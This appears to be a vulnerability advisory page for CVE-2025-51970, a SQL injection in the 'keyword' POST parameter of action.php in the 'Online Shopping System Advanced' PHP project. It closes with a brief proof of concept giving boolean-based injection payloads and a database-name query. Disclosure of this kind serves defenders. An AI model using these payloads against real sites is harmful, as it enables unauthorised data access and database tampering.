## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-M4XIQ-CVE-2025-51970
# CVE-2025-51970
CVE-2025-51970 - SQL Injection in Online Shopping System Advanced
## Summary
A critical SQL Injection vulnerability was discovered in the `Online Shopping System Advanced` project by **PuneethReddyHC**. The flaw resides in `action.php`, which fails to properly sanitize user input from the `keyword` POST parameter. An attacker can inject malicious SQL to extract data or tamper with the database.
* * *
## Technical Details
* **Vulnerability Type** : SQL Injection
* **Affected File** : `action.php`
* **Parameter** : `keyword` (via POST)
* **Affected Version** : 1.0
* **Attack Type** : Remote
* **Impact** : Unauthorized data access, database manipulation
* * *
## Proof of Concept (PoC)
### True Payload (Bypasses Logic)
e%' AND ((42)=(43-1)) AND '0004XX7'!='0004XX7% e%' AND ((42)=(43)) AND '0004XX7'!='0004XX7% SELECT database(); -- Returns `onlineshop`